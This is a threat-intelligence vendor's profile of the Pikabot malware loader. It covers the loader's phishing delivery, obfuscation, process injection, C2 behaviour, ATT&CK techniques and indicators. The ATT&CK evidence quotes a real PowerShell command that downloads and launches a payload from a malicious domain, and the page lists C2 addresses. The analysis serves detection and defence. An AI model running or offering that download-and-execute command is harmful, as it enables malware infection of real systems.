Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
MalwareRansomwareUsed by 2 actors

Pikabot

Pikabot is a widely deployed malware loader used by criminal actors to establish initial access and deliver follow-on payloads such as Cobalt Strike and ransomware. It has been associated with the loader/dropper ecosystem targeted by Operation Endgame, including May 2024 law-enforcement actions against infrastructure tied to malware families such as IcedID, Bumblebee, SystemBC, SmokeLoader, Trickbot, and Pikabot. Reporting in leaked Black Basta chats states that developer "mecor" was identified as the developer of Pikabot, and that Black Basta used or rented Pikabot alongside other malware families. TA577 has also been reported delivering Pikabot and DarkGate in phishing campaigns.

Observed delivery methods include phishing emails and archive-based lures. In February 2024, Pikabot distribution used obfuscated JavaScript files that passed execution to PowerShell scripts to download and install the malware. Water Curupira distribution delivered Pikabot installers in password-protected ZIP archives containing heavily obfuscated JavaScript, or IMG files containing an LNK masquerading as a Word document together with a malicious DLL. Additional observed campaigns used phishing emails with hyperlinks to ZIP archives containing obfuscated JavaScript.

Technically, Pikabot uses base64 encoding together with symmetric encryption to obfuscate command-and-control traffic. During initial command-and-control check-in, it transmits collected system information encrypted with RC4. Some variants decrypt information embedded via steganography using AES-CBC with the same 32-bit key used in initial XOR operations and the first 16 bytes of encrypted data as the IV. Other variants store encrypted chunked sections of the stage 2 payload in the initial loader .text section and decrypt and assemble them during execution. Elastic reported an updated variant in which the loader reconstructed the core from base64-encoded chunks in the .data section, decrypted chunks with RC4, decompressed them, and injected the core into a suspended ctfmon.exe process. That loader also used direct syscalls, Wow64Transition, and multiple anti-debugging checks.

The updated Pikabot core was described as a loader and post-compromise access tool supporting command execution, discovery, file and registry modification, and PE or shellcode injection. It generated a victim UUID from the system volume number, hostname, and username; collected host information including username, computer name, processor details, display device data, domain controller information, memory usage, window dimensions, OS version, and process listings; and terminated on systems using Russian or Ukrainian language settings. Reported network behavior included HTTPS communications over uncommon ports such as 2967 and 2223, Slack-like API paths, and the User-Agent string "Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)". A reported mutex for one analyzed sample was {6F70D3AF-34EF-433C-A803-E83654F6FD7C}. Reported campaign observables included domain gloverstech[.]com, domain entrevientos.com[.]ar, and C2 servers 158.220.80[.]167:2967, 139.84.237[.]229:2967, 104.129.55[.]104:2223, and 85.239.243[.]155:5000.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
TA577

More recently, they have delivered Pikabot and DarkGate malware.

via medium intel opsmedium.com
WIZARD SPIDER

...new malware strains such as ... Pikabot ...

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

36 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence3

TA577, are a Russia-based threat group that have been reported to deliver payloads including Qbot, IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike in ongoing phishing campaigns since 2020. More recently, they have delivered Pikabot and DarkGate malware.

T1566.001Spearphishing AttachmentEvidence1

The content repeatedly describes threat actors and malware being delivered through phishing or spearphishing emails containing malicious attachments such as Microsoft Office documents, PDFs, RAR/ZIP archives, CHM, ISO, IMG, HTA, LNK, and executable files disguised as documents.

Execution

8 techniques
T1059Command and Scripting InterpreterEvidence1

In terms of the core bot functionality, it is similar to previous versions: executing commands... Command-line execution with output

T1059.001PowerShellEvidence2

showing the next sequence to download and execute PIKABOT’s loader using PowerShell... "powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe"

T1059.003Windows Command ShellEvidence2

During the 2016 Ukraine Electric Power Attack, Sandworm Team used the xp_cmdshell command in MS-SQL. During the 2025 Poland Wiper Attacks, the adversaries leveraged PsExec to run cmd.exe commands on multiple victim machines. Numerous malware families and groups are described as using cmd.exe, cmd /c, Windows command shell, or command-line interfaces to execute commands, payloads, reconnaissance, persistence, cleanup, and ransomware actions.

T1059.007JavaScriptEvidence2

Examples include 'Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands', 'Orz can execute commands with JavaScript', 'Patchwork used JavaScript code and .SCT files on victim machines', and 'Water Curupira Pikabot Distribution installation via JavaScript will launch follow-on commands via cmd.exe.'

T1106Native APIEvidence1

The malware utilizes specific NTDLL Zw APIs for a variety of operations, including debugger detection, process creation, and injection... It executes syscalls directly, bypassing conventional API calls

T1204User ExecutionEvidence1

The content repeatedly describes victims being lured into opening malicious attachments, enabling macros, launching installers, clicking embedded files/links, or otherwise directly executing malicious content.

T1204.001Malicious LinkEvidence1

This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.

T1204.002Malicious FileEvidence2

Sandworm Team leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them... APT29 has used various forms of spearphishing attempting to get a user to open attachments... DarkGate is distributed through phishing links to VBS or MSI objects requiring user interaction for execution.

Persistence

4 techniques
T1112Modify RegistryEvidence2

0x246F Creates file on disk and modifies registry tied to configuration

T1543Create or Modify System ProcessEvidence1

The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process.

T1547.001Registry Run Keys / Startup FolderEvidence3

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.

T1547.009Shortcut ModificationEvidence1

The content repeatedly references malicious shortcut files: e.g., "APT38 has used malicious Word documents and shortcut files," "Bumblebee... opening an ISO file to enable execution of malicious shortcut files and DLLs," and "Mustang Panda distributed malicious LNK objects for user execution."

Privilege Escalation

4 techniques
T1055Process InjectionEvidence1

The loader creates a suspended instance of ctfmon.exe... allocates a large memory region remotely... writes the PIKABOT core... redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API

T1543Create or Modify System ProcessEvidence1

The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process.

T1547.001Registry Run Keys / Startup FolderEvidence3

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.

T1547.009Shortcut ModificationEvidence1

The content repeatedly references malicious shortcut files: e.g., "APT38 has used malicious Word documents and shortcut files," "Bumblebee... opening an ISO file to enable execution of malicious shortcut files and DLLs," and "Mustang Panda distributed malicious LNK objects for user execution."

Stealth

8 techniques
T1027Obfuscated Files or InformationEvidence1

The malicious code employs heavy obfuscation, utilizing a technique where a jump ( JMP ) follows each assembly instruction.

T1027.003SteganographyEvidence1

Lazarus Group has distributed malicious payloads embedded in PNG files.

T1036MasqueradingEvidence1

To appear authentic, the developer tampered with a legitimate search and replace tool called grepWinNP3.exe

T1055Process InjectionEvidence1

The loader creates a suspended instance of ctfmon.exe... allocates a large memory region remotely... writes the PIKABOT core... redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API

T1140Deobfuscate/Decode Files or InformationEvidence2

The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.

T1497.001System ChecksEvidence1

Gets the window dimensions using GetWindowRect used to identify sandbox environments

T1620Reflective Code LoadingEvidence1

The next step of the process is to reflectively load the PE file within the confines of the currently executing process.

T1622Debugger EvasionEvidence1

The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools.

Defense Impairment

1 technique
T1112Modify RegistryEvidence2

0x246F Creates file on disk and modifies registry tied to configuration

Discovery

8 techniques
T1016System Network Configuration DiscoveryEvidence1

The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.

T1033System Owner/User DiscoveryEvidence2

Retrieves the name of the user associated with the PIKABOT thread

T1057Process DiscoveryEvidence1

Uses CreateToolhelp32Snapshot to retrieve process information

T1082System Information DiscoveryEvidence2

The next phase involves collecting victim machine information... Retrieves the computer name Gets processor information... Collects current usage around physical and virtual memory... Retrieves Windows OS product information

T1482Domain Trust DiscoveryEvidence1

Retrieves domain controller information using DsGetDcNameW

T1497.001System ChecksEvidence1

Gets the window dimensions using GetWindowRect used to identify sandbox environments

T1614.001System Language DiscoveryEvidence1

it validates the victim machine by verifying the language identifier using GetUserDefaultLangID . If the LangID is set to Russian ( 0x419 ) or Ukranian ( 0x422 ), the malware will immediately stop its execution.

T1622Debugger EvasionEvidence1

The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools.

Collection

1 technique
T1560.001Archive via UtilityEvidence1

Water Curupira Pikabot Distribution initial delivery included obfuscated JavaScript objects stored in password-protected ZIP archives.

Command and Control

6 techniques
T1001Data ObfuscationEvidence1

Cobian RAT obfuscates communications with the C2 server using Base64 encoding... Daserf uses custom base64 encoding to obfuscate HTTP traffic... Pikabot uses base64 encoding in conjunction with symmetric encryption mechanisms to obfuscate command and control communications.

T1071Application Layer ProtocolEvidence1

International law enforcement agencies and their partners have once again joined forces to disrupt and dismantle botnet infrastructure and their operators. | This effort targeted multiple botnets, such as IcedID, Smokeloader, SystemBC, Pikabot, and Bumblebee, as well as their operators.

T1071.001Web ProtocolsEvidence1

PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc)

T1105Ingress Tool TransferEvidence1

As SocGholish, StealC, and Amadey are typically used as droppers or loaders during attacks, they are used to establish access as part of a link in a larger attack chain.

T1132Data EncodingEvidence2

C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding... APT19 HTTP malware variant used Base64 to encode communications to the C2 server... APT33 has used base64 to encode command and control traffic.

T1573Encrypted ChannelEvidence1

On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.

INDICATORS OF COMPROMISE

IOCs tracked for this family

34 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
24 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
7 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
3 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
hash.md5●●●●●●●●●●●●View more in app2 years ago
hash.md5●●●●●●●●●●●●View more in app2 years ago
hash.sha256●●●●●●●●●●●●View more in app2 years ago
hash.sha1●●●●●●●●●●●●View more in app2 years ago
hash.sha256●●●●●●●●●●●●View more in app2 years ago
domain●●●●●●●●●●●●View more in app2 years ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching34

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping36

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.